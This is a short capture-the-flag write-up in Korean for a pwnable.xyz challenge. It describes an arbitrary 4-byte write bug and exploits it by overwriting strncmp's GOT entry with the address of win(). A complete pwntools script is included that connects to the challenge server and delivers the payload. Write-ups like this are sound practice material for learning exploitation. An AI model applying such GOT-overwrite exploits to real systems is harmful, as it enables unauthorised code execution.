Which one would you exploit?
Bug
임의의 주소에 임의의 4바이트 값을 쓸 수 있다.
Exploit
두 가지 방법으로 exploit이 가능하다.
auth(s)
를true
로 만들어서win()
호출3. Change age
의 AAW를 이용하여 GOT overwrite
덜 귀찮아 보이는 두 번째 방법을 선택했다.
strncmp()
의 GOT를 win()
의 주소로 덮고 auth()
를 실행하면 strncmp()
가 호출되어 플래그를 획득할 수 있다.
from pwn import *
r = remote("svc.pwnable.xyz", 30031)
sla = r.sendlineafter
sa = r.sendafter
win = 0x40099C
strncmp_got = 0x603018
sla(b"> ", b"2")
sla(b"nationality: ", b"a" * 0x10 + p64(strncmp_got))
sla(b"> ", b"3")
sla(b"age: ", str(win).encode())
sla(b"> ", b"4")
r.interactive()
728x90